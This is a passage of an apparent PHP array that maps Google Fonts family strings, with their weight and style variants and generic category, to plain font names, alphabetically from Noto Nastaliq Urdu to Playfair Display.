			'"Noto Nastaliq Urdu", "regular:500:600:700", serif'                                                                                                                         => 'Noto Nastaliq Urdu',
			'"Noto Rashi Hebrew", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                      => 'Noto Rashi Hebrew',
			'"Noto Sans", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                  => 'Noto Sans',
			'"Noto Sans Adlam", "regular:500:600:700", sans-serif'                                                                                                                       => 'Noto Sans Adlam',
			'"Noto Sans Adlam Unjoined", "regular:500:600:700", sans-serif'                                                                                                              => 'Noto Sans Adlam Unjoined',
			'"Noto Sans Anatolian Hieroglyphs", "regular", sans-serif'                                                                                                                   => 'Noto Sans Anatolian Hieroglyphs',
			'"Noto Sans Arabic", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                  => 'Noto Sans Arabic',
			'"Noto Sans Armenian", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                => 'Noto Sans Armenian',
			'"Noto Sans Avestan", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Avestan',
			'"Noto Sans Balinese", "regular:500:600:700", sans-serif'                                                                                                                    => 'Noto Sans Balinese',
			'"Noto Sans Bamum", "regular:500:600:700", sans-serif'                                                                                                                       => 'Noto Sans Bamum',
			'"Noto Sans Bassa Vah", "regular:500:600:700", sans-serif'                                                                                                                   => 'Noto Sans Bassa Vah',
			'"Noto Sans Batak", "regular", sans-serif'                                                                                                                                   => 'Noto Sans Batak',
			'"Noto Sans Bengali", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                 => 'Noto Sans Bengali',
			'"Noto Sans Bhaiksuki", "regular", sans-serif'                                                                                                                               => 'Noto Sans Bhaiksuki',
			'"Noto Sans Brahmi", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Brahmi',
			'"Noto Sans Buginese", "regular", sans-serif'                                                                                                                                => 'Noto Sans Buginese',
			'"Noto Sans Buhid", "regular", sans-serif'                                                                                                                                   => 'Noto Sans Buhid',
			'"Noto Sans Canadian Aboriginal", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                     => 'Noto Sans Canadian Aboriginal',
			'"Noto Sans Carian", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Carian',
			'"Noto Sans Caucasian Albanian", "regular", sans-serif'                                                                                                                      => 'Noto Sans Caucasian Albanian',
			'"Noto Sans Chakma", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Chakma',
			'"Noto Sans Cham", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                    => 'Noto Sans Cham',
			'"Noto Sans Cherokee", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                => 'Noto Sans Cherokee',
			'"Noto Sans Chorasmian", "regular", sans-serif'                                                                                                                              => 'Noto Sans Chorasmian',
			'"Noto Sans Coptic", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Coptic',
			'"Noto Sans Cuneiform", "regular", sans-serif'                                                                                                                               => 'Noto Sans Cuneiform',
			'"Noto Sans Cypriot", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Cypriot',
			'"Noto Sans Cypro Minoan", "regular", sans-serif'                                                                                                                            => 'Noto Sans Cypro Minoan',
			'"Noto Sans Deseret", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Deseret',
			'"Noto Sans Devanagari", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                              => 'Noto Sans Devanagari',
			'"Noto Sans Display", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'          => 'Noto Sans Display',
			'"Noto Sans Duployan", "regular:700", sans-serif'                                                                                                                            => 'Noto Sans Duployan',
			'"Noto Sans Egyptian Hieroglyphs", "regular", sans-serif'                                                                                                                    => 'Noto Sans Egyptian Hieroglyphs',
			'"Noto Sans Elbasan", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Elbasan',
			'"Noto Sans Elymaic", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Elymaic',
			'"Noto Sans Ethiopic", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                => 'Noto Sans Ethiopic',
			'"Noto Sans Georgian", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                => 'Noto Sans Georgian',
			'"Noto Sans Glagolitic", "regular", sans-serif'                                                                                                                              => 'Noto Sans Glagolitic',
			'"Noto Sans Gothic", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Gothic',
			'"Noto Sans Grantha", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Grantha',
			'"Noto Sans Gujarati", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                => 'Noto Sans Gujarati',
			'"Noto Sans Gunjala Gondi", "regular:500:600:700", sans-serif'                                                                                                               => 'Noto Sans Gunjala Gondi',
			'"Noto Sans Gurmukhi", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                => 'Noto Sans Gurmukhi',
			'"Noto Sans HK", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                      => 'Noto Sans HK',
			'"Noto Sans Hanifi Rohingya", "regular:500:600:700", sans-serif'                                                                                                             => 'Noto Sans Hanifi Rohingya',
			'"Noto Sans Hanunoo", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Hanunoo',
			'"Noto Sans Hatran", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Hatran',
			'"Noto Sans Hebrew", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                  => 'Noto Sans Hebrew',
			'"Noto Sans Imperial Aramaic", "regular", sans-serif'                                                                                                                        => 'Noto Sans Imperial Aramaic',
			'"Noto Sans Indic Siyaq Numbers", "regular", sans-serif'                                                                                                                     => 'Noto Sans Indic Siyaq Numbers',
			'"Noto Sans Inscriptional Pahlavi", "regular", sans-serif'                                                                                                                   => 'Noto Sans Inscriptional Pahlavi',
			'"Noto Sans Inscriptional Parthian", "regular", sans-serif'                                                                                                                  => 'Noto Sans Inscriptional Parthian',
			'"Noto Sans JP", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                      => 'Noto Sans JP',
			'"Noto Sans Javanese", "regular:500:600:700", sans-serif'                                                                                                                    => 'Noto Sans Javanese',
			'"Noto Sans KR", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                      => 'Noto Sans KR',
			'"Noto Sans Kaithi", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Kaithi',
			'"Noto Sans Kannada", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                 => 'Noto Sans Kannada',
			'"Noto Sans Kawi", "regular:500:600:700", sans-serif'                                                                                                                        => 'Noto Sans Kawi',
			'"Noto Sans Kayah Li", "regular:500:600:700", sans-serif'                                                                                                                    => 'Noto Sans Kayah Li',
			'"Noto Sans Kharoshthi", "regular", sans-serif'                                                                                                                              => 'Noto Sans Kharoshthi',
			'"Noto Sans Khmer", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                   => 'Noto Sans Khmer',
			'"Noto Sans Khojki", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Khojki',
			'"Noto Sans Khudawadi", "regular", sans-serif'                                                                                                                               => 'Noto Sans Khudawadi',
			'"Noto Sans Lao", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                     => 'Noto Sans Lao',
			'"Noto Sans Lao Looped", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                              => 'Noto Sans Lao Looped',
			'"Noto Sans Lepcha", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Lepcha',
			'"Noto Sans Limbu", "regular", sans-serif'                                                                                                                                   => 'Noto Sans Limbu',
			'"Noto Sans Linear A", "regular", sans-serif'                                                                                                                                => 'Noto Sans Linear A',
			'"Noto Sans Linear B", "regular", sans-serif'                                                                                                                                => 'Noto Sans Linear B',
			'"Noto Sans Lisu", "regular:500:600:700", sans-serif'                                                                                                                        => 'Noto Sans Lisu',
			'"Noto Sans Lycian", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Lycian',
			'"Noto Sans Lydian", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Lydian',
			'"Noto Sans Mahajani", "regular", sans-serif'                                                                                                                                => 'Noto Sans Mahajani',
			'"Noto Sans Malayalam", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                               => 'Noto Sans Malayalam',
			'"Noto Sans Mandaic", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Mandaic',
			'"Noto Sans Manichaean", "regular", sans-serif'                                                                                                                              => 'Noto Sans Manichaean',
			'"Noto Sans Marchen", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Marchen',
			'"Noto Sans Masaram Gondi", "regular", sans-serif'                                                                                                                           => 'Noto Sans Masaram Gondi',
			'"Noto Sans Math", "regular", sans-serif'                                                                                                                                    => 'Noto Sans Math',
			'"Noto Sans Mayan Numerals", "regular", sans-serif'                                                                                                                          => 'Noto Sans Mayan Numerals',
			'"Noto Sans Medefaidrin", "regular:500:600:700", sans-serif'                                                                                                                 => 'Noto Sans Medefaidrin',
			'"Noto Sans Meetei Mayek", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                            => 'Noto Sans Meetei Mayek',
			'"Noto Sans Mende Kikakui", "regular", sans-serif'                                                                                                                           => 'Noto Sans Mende Kikakui',
			'"Noto Sans Meroitic", "regular", sans-serif'                                                                                                                                => 'Noto Sans Meroitic',
			'"Noto Sans Miao", "regular", sans-serif'                                                                                                                                    => 'Noto Sans Miao',
			'"Noto Sans Modi", "regular", sans-serif'                                                                                                                                    => 'Noto Sans Modi',
			'"Noto Sans Mongolian", "regular", sans-serif'                                                                                                                               => 'Noto Sans Mongolian',
			'"Noto Sans Mono", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                    => 'Noto Sans Mono',
			'"Noto Sans Mro", "regular", sans-serif'                                                                                                                                     => 'Noto Sans Mro',
			'"Noto Sans Multani", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Multani',
			'"Noto Sans Myanmar", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                 => 'Noto Sans Myanmar',
			'"Noto Sans NKo", "regular", sans-serif'                                                                                                                                     => 'Noto Sans NKo',
			'"Noto Sans NKo Unjoined", "regular:500:600:700", sans-serif'                                                                                                                => 'Noto Sans NKo Unjoined',
			'"Noto Sans Nabataean", "regular", sans-serif'                                                                                                                               => 'Noto Sans Nabataean',
			'"Noto Sans Nag Mundari", "regular:500:600:700", sans-serif'                                                                                                                 => 'Noto Sans Nag Mundari',
			'"Noto Sans Nandinagari", "regular", sans-serif'                                                                                                                             => 'Noto Sans Nandinagari',
			'"Noto Sans New Tai Lue", "regular:500:600:700", sans-serif'                                                                                                                 => 'Noto Sans New Tai Lue',
			'"Noto Sans Newa", "regular", sans-serif'                                                                                                                                    => 'Noto Sans Newa',
			'"Noto Sans Nushu", "regular", sans-serif'                                                                                                                                   => 'Noto Sans Nushu',
			'"Noto Sans Ogham", "regular", sans-serif'                                                                                                                                   => 'Noto Sans Ogham',
			'"Noto Sans Ol Chiki", "regular:500:600:700", sans-serif'                                                                                                                    => 'Noto Sans Ol Chiki',
			'"Noto Sans Old Hungarian", "regular", sans-serif'                                                                                                                           => 'Noto Sans Old Hungarian',
			'"Noto Sans Old Italic", "regular", sans-serif'                                                                                                                              => 'Noto Sans Old Italic',
			'"Noto Sans Old North Arabian", "regular", sans-serif'                                                                                                                       => 'Noto Sans Old North Arabian',
			'"Noto Sans Old Permic", "regular", sans-serif'                                                                                                                              => 'Noto Sans Old Permic',
			'"Noto Sans Old Persian", "regular", sans-serif'                                                                                                                             => 'Noto Sans Old Persian',
			'"Noto Sans Old Sogdian", "regular", sans-serif'                                                                                                                             => 'Noto Sans Old Sogdian',
			'"Noto Sans Old South Arabian", "regular", sans-serif'                                                                                                                       => 'Noto Sans Old South Arabian',
			'"Noto Sans Old Turkic", "regular", sans-serif'                                                                                                                              => 'Noto Sans Old Turkic',
			'"Noto Sans Oriya", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                   => 'Noto Sans Oriya',
			'"Noto Sans Osage", "regular", sans-serif'                                                                                                                                   => 'Noto Sans Osage',
			'"Noto Sans Osmanya", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Osmanya',
			'"Noto Sans Pahawh Hmong", "regular", sans-serif'                                                                                                                            => 'Noto Sans Pahawh Hmong',
			'"Noto Sans Palmyrene", "regular", sans-serif'                                                                                                                               => 'Noto Sans Palmyrene',
			'"Noto Sans Pau Cin Hau", "regular", sans-serif'                                                                                                                             => 'Noto Sans Pau Cin Hau',
			'"Noto Sans Phags Pa", "regular", sans-serif'                                                                                                                                => 'Noto Sans Phags Pa',
			'"Noto Sans Phoenician", "regular", sans-serif'                                                                                                                              => 'Noto Sans Phoenician',
			'"Noto Sans Psalter Pahlavi", "regular", sans-serif'                                                                                                                         => 'Noto Sans Psalter Pahlavi',
			'"Noto Sans Rejang", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Rejang',
			'"Noto Sans Runic", "regular", sans-serif'                                                                                                                                   => 'Noto Sans Runic',
			'"Noto Sans SC", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                      => 'Noto Sans SC',
			'"Noto Sans Samaritan", "regular", sans-serif'                                                                                                                               => 'Noto Sans Samaritan',
			'"Noto Sans Saurashtra", "regular", sans-serif'                                                                                                                              => 'Noto Sans Saurashtra',
			'"Noto Sans Sharada", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Sharada',
			'"Noto Sans Shavian", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Shavian',
			'"Noto Sans Siddham", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Siddham',
			'"Noto Sans SignWriting", "regular", sans-serif'                                                                                                                             => 'Noto Sans SignWriting',
			'"Noto Sans Sinhala", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                 => 'Noto Sans Sinhala',
			'"Noto Sans Sogdian", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Sogdian',
			'"Noto Sans Sora Sompeng", "regular:500:600:700", sans-serif'                                                                                                                => 'Noto Sans Sora Sompeng',
			'"Noto Sans Soyombo", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Soyombo',
			'"Noto Sans Sundanese", "regular:500:600:700", sans-serif'                                                                                                                   => 'Noto Sans Sundanese',
			'"Noto Sans Syloti Nagri", "regular", sans-serif'                                                                                                                            => 'Noto Sans Syloti Nagri',
			'"Noto Sans Symbols", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                 => 'Noto Sans Symbols',
			'"Noto Sans Symbols 2", "regular", sans-serif'                                                                                                                               => 'Noto Sans Symbols 2',
			'"Noto Sans Syriac", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                  => 'Noto Sans Syriac',
			'"Noto Sans Syriac Eastern", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                          => 'Noto Sans Syriac Eastern',
			'"Noto Sans TC", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                      => 'Noto Sans TC',
			'"Noto Sans Tagalog", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Tagalog',
			'"Noto Sans Tagbanwa", "regular", sans-serif'                                                                                                                                => 'Noto Sans Tagbanwa',
			'"Noto Sans Tai Le", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Tai Le',
			'"Noto Sans Tai Tham", "regular:500:600:700", sans-serif'                                                                                                                    => 'Noto Sans Tai Tham',
			'"Noto Sans Tai Viet", "regular", sans-serif'                                                                                                                                => 'Noto Sans Tai Viet',
			'"Noto Sans Takri", "regular", sans-serif'                                                                                                                                   => 'Noto Sans Takri',
			'"Noto Sans Tamil", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                   => 'Noto Sans Tamil',
			'"Noto Sans Tamil Supplement", "regular", sans-serif'                                                                                                                        => 'Noto Sans Tamil Supplement',
			'"Noto Sans Tangsa", "regular:500:600:700", sans-serif'                                                                                                                      => 'Noto Sans Tangsa',
			'"Noto Sans Telugu", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                  => 'Noto Sans Telugu',
			'"Noto Sans Thaana", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                  => 'Noto Sans Thaana',
			'"Noto Sans Thai", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                    => 'Noto Sans Thai',
			'"Noto Sans Thai Looped", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                             => 'Noto Sans Thai Looped',
			'"Noto Sans Tifinagh", "regular", sans-serif'                                                                                                                                => 'Noto Sans Tifinagh',
			'"Noto Sans Tirhuta", "regular", sans-serif'                                                                                                                                 => 'Noto Sans Tirhuta',
			'"Noto Sans Ugaritic", "regular", sans-serif'                                                                                                                                => 'Noto Sans Ugaritic',
			'"Noto Sans Vai", "regular", sans-serif'                                                                                                                                     => 'Noto Sans Vai',
			'"Noto Sans Vithkuqi", "regular:500:600:700", sans-serif'                                                                                                                    => 'Noto Sans Vithkuqi',
			'"Noto Sans Wancho", "regular", sans-serif'                                                                                                                                  => 'Noto Sans Wancho',
			'"Noto Sans Warang Citi", "regular", sans-serif'                                                                                                                             => 'Noto Sans Warang Citi',
			'"Noto Sans Yi", "regular", sans-serif'                                                                                                                                      => 'Noto Sans Yi',
			'"Noto Sans Zanabazar Square", "regular", sans-serif'                                                                                                                        => 'Noto Sans Zanabazar Square',
			'"Noto Serif", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                      => 'Noto Serif',
			'"Noto Serif Ahom", "regular", serif'                                                                                                                                        => 'Noto Serif Ahom',
			'"Noto Serif Armenian", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                    => 'Noto Serif Armenian',
			'"Noto Serif Balinese", "regular", serif'                                                                                                                                    => 'Noto Serif Balinese',
			'"Noto Serif Bengali", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                     => 'Noto Serif Bengali',
			'"Noto Serif Devanagari", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                  => 'Noto Serif Devanagari',
			'"Noto Serif Display", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'              => 'Noto Serif Display',
			'"Noto Serif Dogra", "regular", serif'                                                                                                                                       => 'Noto Serif Dogra',
			'"Noto Serif Ethiopic", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                    => 'Noto Serif Ethiopic',
			'"Noto Serif Georgian", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                    => 'Noto Serif Georgian',
			'"Noto Serif Grantha", "regular", serif'                                                                                                                                     => 'Noto Serif Grantha',
			'"Noto Serif Gujarati", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                    => 'Noto Serif Gujarati',
			'"Noto Serif Gurmukhi", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                    => 'Noto Serif Gurmukhi',
			'"Noto Serif HK", "200:300:regular:500:600:700:800:900", serif'                                                                                                              => 'Noto Serif HK',
			'"Noto Serif Hebrew", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                      => 'Noto Serif Hebrew',
			'"Noto Serif JP", "200:300:regular:500:600:700:800:900", serif'                                                                                                              => 'Noto Serif JP',
			'"Noto Serif KR", "200:300:regular:500:600:700:800:900", serif'                                                                                                              => 'Noto Serif KR',
			'"Noto Serif Kannada", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                     => 'Noto Serif Kannada',
			'"Noto Serif Khitan Small Script", "regular", serif'                                                                                                                         => 'Noto Serif Khitan Small Script',
			'"Noto Serif Khmer", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                       => 'Noto Serif Khmer',
			'"Noto Serif Khojki", "regular:500:600:700", serif'                                                                                                                          => 'Noto Serif Khojki',
			'"Noto Serif Lao", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                         => 'Noto Serif Lao',
			'"Noto Serif Makasar", "regular", serif'                                                                                                                                     => 'Noto Serif Makasar',
			'"Noto Serif Malayalam", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                   => 'Noto Serif Malayalam',
			'"Noto Serif Myanmar", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                     => 'Noto Serif Myanmar',
			'"Noto Serif NP Hmong", "regular:500:600:700", serif'                                                                                                                        => 'Noto Serif NP Hmong',
			'"Noto Serif Old Uyghur", "regular", serif'                                                                                                                                  => 'Noto Serif Old Uyghur',
			'"Noto Serif Oriya", "regular:500:600:700", serif'                                                                                                                           => 'Noto Serif Oriya',
			'"Noto Serif Ottoman Siyaq", "regular", serif'                                                                                                                               => 'Noto Serif Ottoman Siyaq',
			'"Noto Serif SC", "200:300:regular:500:600:700:800:900", serif'                                                                                                              => 'Noto Serif SC',
			'"Noto Serif Sinhala", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                     => 'Noto Serif Sinhala',
			'"Noto Serif TC", "200:300:regular:500:600:700:800:900", serif'                                                                                                              => 'Noto Serif TC',
			'"Noto Serif Tamil", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                => 'Noto Serif Tamil',
			'"Noto Serif Tangut", "regular", serif'                                                                                                                                      => 'Noto Serif Tangut',
			'"Noto Serif Telugu", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                      => 'Noto Serif Telugu',
			'"Noto Serif Thai", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                        => 'Noto Serif Thai',
			'"Noto Serif Tibetan", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                     => 'Noto Serif Tibetan',
			'"Noto Serif Toto", "regular:500:600:700", serif'                                                                                                                            => 'Noto Serif Toto',
			'"Noto Serif Vithkuqi", "regular:500:600:700", serif'                                                                                                                        => 'Noto Serif Vithkuqi',
			'"Noto Serif Yezidi", "regular:500:600:700", serif'                                                                                                                          => 'Noto Serif Yezidi',
			'"Noto Traditional Nushu", "300:regular:500:600:700", sans-serif'                                                                                                            => 'Noto Traditional Nushu',
			'"Noto Znamenny Musical Notation", "regular", sans-serif'                                                                                                                    => 'Noto Znamenny Musical Notation',
			'"Nova Cut", "regular", display'                                                                                                                                             => 'Nova Cut',
			'"Nova Flat", "regular", display'                                                                                                                                            => 'Nova Flat',
			'"Nova Mono", "regular", monospace'                                                                                                                                          => 'Nova Mono',
			'"Nova Oval", "regular", display'                                                                                                                                            => 'Nova Oval',
			'"Nova Round", "regular", display'                                                                                                                                           => 'Nova Round',
			'"Nova Script", "regular", display'                                                                                                                                          => 'Nova Script',
			'"Nova Slim", "regular", display'                                                                                                                                            => 'Nova Slim',
			'"Nova Square", "regular", display'                                                                                                                                          => 'Nova Square',
			'"Numans", "regular", sans-serif'                                                                                                                                            => 'Numans',
			'"Nunito", "200:300:regular:500:600:700:800:900:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                                   => 'Nunito',
			'"Nunito Sans", "200:300:regular:500:600:700:800:900:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                              => 'Nunito Sans',
			'"Nuosu SIL", "regular", sans-serif'                                                                                                                                         => 'Nuosu SIL',
			'"Odibee Sans", "regular", display'                                                                                                                                          => 'Odibee Sans',
			'"Odor Mean Chey", "regular", serif'                                                                                                                                         => 'Odor Mean Chey',
			'"Offside", "regular", display'                                                                                                                                              => 'Offside',
			'"Oi", "regular", display'                                                                                                                                                   => 'Oi',
			'"Ojuju", "200:300:regular:500:600:700:800", sans-serif'                                                                                                                     => 'Ojuju',
			'"Old Standard TT", "regular:italic:700", serif'                                                                                                                             => 'Old Standard TT',
			'"Oldenburg", "regular", display'                                                                                                                                            => 'Oldenburg',
			'"Ole", "regular", handwriting'                                                                                                                                              => 'Ole',
			'"Oleo Script", "regular:700", display'                                                                                                                                      => 'Oleo Script',
			'"Oleo Script Swash Caps", "regular:700", display'                                                                                                                           => 'Oleo Script Swash Caps',
			'"Onest", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                             => 'Onest',
			'"Oooh Baby", "regular", handwriting'                                                                                                                                        => 'Oooh Baby',
			'"Open Sans", "300:regular:500:600:700:800:300italic:italic:500italic:600italic:700italic:800italic", sans-serif'                                                            => 'Open Sans',
			'"Oranienbaum", "regular", serif'                                                                                                                                            => 'Oranienbaum',
			'"Orbit", "regular", sans-serif'                                                                                                                                             => 'Orbit',
			'"Orbitron", "regular:500:600:700:800:900", sans-serif'                                                                                                                      => 'Orbitron',
			'"Oregano", "regular:italic", display'                                                                                                                                       => 'Oregano',
			'"Orelega One", "regular", display'                                                                                                                                          => 'Orelega One',
			'"Orienta", "regular", sans-serif'                                                                                                                                           => 'Orienta',
			'"Original Surfer", "regular", display'                                                                                                                                      => 'Original Surfer',
			'"Oswald", "200:300:regular:500:600:700", sans-serif'                                                                                                                        => 'Oswald',
			'"Outfit", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                            => 'Outfit',
			'"Over the Rainbow", "regular", handwriting'                                                                                                                                 => 'Over the Rainbow',
			'"Overlock", "regular:italic:700:700italic:900:900italic", display'                                                                                                          => 'Overlock',
			'"Overlock SC", "regular", display'                                                                                                                                          => 'Overlock SC',
			'"Overpass", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                   => 'Overpass',
			'"Overpass Mono", "300:regular:500:600:700", monospace'                                                                                                                      => 'Overpass Mono',
			'"Ovo", "regular", serif'                                                                                                                                                    => 'Ovo',
			'"Oxanium", "200:300:regular:500:600:700:800", display'                                                                                                                      => 'Oxanium',
			'"Oxygen", "300:regular:700", sans-serif'                                                                                                                                    => 'Oxygen',
			'"Oxygen Mono", "regular", monospace'                                                                                                                                        => 'Oxygen Mono',
			'"PT Mono", "regular", monospace'                                                                                                                                            => 'PT Mono',
			'"PT Sans", "regular:italic:700:700italic", sans-serif'                                                                                                                      => 'PT Sans',
			'"PT Sans Caption", "regular:700", sans-serif'                                                                                                                               => 'PT Sans Caption',
			'"PT Sans Narrow", "regular:700", sans-serif'                                                                                                                                => 'PT Sans Narrow',
			'"PT Serif", "regular:italic:700:700italic", serif'                                                                                                                          => 'PT Serif',
			'"PT Serif Caption", "regular:italic", serif'                                                                                                                                => 'PT Serif Caption',
			'"Pacifico", "regular", handwriting'                                                                                                                                         => 'Pacifico',
			'"Padauk", "regular:700", sans-serif'                                                                                                                                        => 'Padauk',
			'"Padyakke Expanded One", "regular", serif'                                                                                                                                  => 'Padyakke Expanded One',
			'"Palanquin", "100:200:300:regular:500:600:700", sans-serif'                                                                                                                 => 'Palanquin',
			'"Palanquin Dark", "regular:500:600:700", sans-serif'                                                                                                                        => 'Palanquin Dark',
			'"Palette Mosaic", "regular", display'                                                                                                                                       => 'Palette Mosaic',
			'"Pangolin", "regular", handwriting'                                                                                                                                         => 'Pangolin',
			'"Paprika", "regular", display'                                                                                                                                              => 'Paprika',
			'"Parisienne", "regular", handwriting'                                                                                                                                       => 'Parisienne',
			'"Passero One", "regular", display'                                                                                                                                          => 'Passero One',
			'"Passion One", "regular:700:900", display'                                                                                                                                  => 'Passion One',
			'"Passions Conflict", "regular", handwriting'                                                                                                                                => 'Passions Conflict',
			'"Pathway Extreme", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'            => 'Pathway Extreme',
			'"Pathway Gothic One", "regular", sans-serif'                                                                                                                                => 'Pathway Gothic One',
			'"Patrick Hand", "regular", handwriting'                                                                                                                                     => 'Patrick Hand',
			'"Patrick Hand SC", "regular", handwriting'                                                                                                                                  => 'Patrick Hand SC',
			'"Pattaya", "regular", sans-serif'                                                                                                                                           => 'Pattaya',
			'"Patua One", "regular", display'                                                                                                                                            => 'Patua One',
			'"Pavanam", "regular", sans-serif'                                                                                                                                           => 'Pavanam',
			'"Paytone One", "regular", sans-serif'                                                                                                                                       => 'Paytone One',
			'"Peddana", "regular", serif'                                                                                                                                                => 'Peddana',
			'"Peralta", "regular", serif'                                                                                                                                                => 'Peralta',
			'"Permanent Marker", "regular", handwriting'                                                                                                                                 => 'Permanent Marker',
			'"Petemoss", "regular", handwriting'                                                                                                                                         => 'Petemoss',
			'"Petit Formal Script", "regular", handwriting'                                                                                                                              => 'Petit Formal Script',
			'"Petrona", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                         => 'Petrona',
			'"Philosopher", "regular:italic:700:700italic", sans-serif'                                                                                                                  => 'Philosopher',
			'"Phudu", "300:regular:500:600:700:800:900", display'                                                                                                                        => 'Phudu',
			'"Piazzolla", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                       => 'Piazzolla',
			'"Piedra", "regular", display'                                                                                                                                               => 'Piedra',
			'"Pinyon Script", "regular", handwriting'                                                                                                                                    => 'Pinyon Script',
			'"Pirata One", "regular", display'                                                                                                                                           => 'Pirata One',
			'"Pixelify Sans", "regular:500:600:700", display'                                                                                                                            => 'Pixelify Sans',
			'"Plaster", "regular", display'                                                                                                                                              => 'Plaster',
			'"Platypi", "300:regular:500:600:700:800:300italic:italic:500italic:600italic:700italic:800italic", serif'                                                                   => 'Platypi',
			'"Play", "regular:700", sans-serif'                                                                                                                                          => 'Play',
			'"Playball", "regular", display'                                                                                                                                             => 'Playball',
			'"Playfair", "300:regular:500:600:700:800:900:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                                                    => 'Playfair',
			'"Playfair Display", "regular:500:600:700:800:900:italic:500italic:600italic:700italic:800italic:900italic", serif'                                                          => 'Playfair Display',
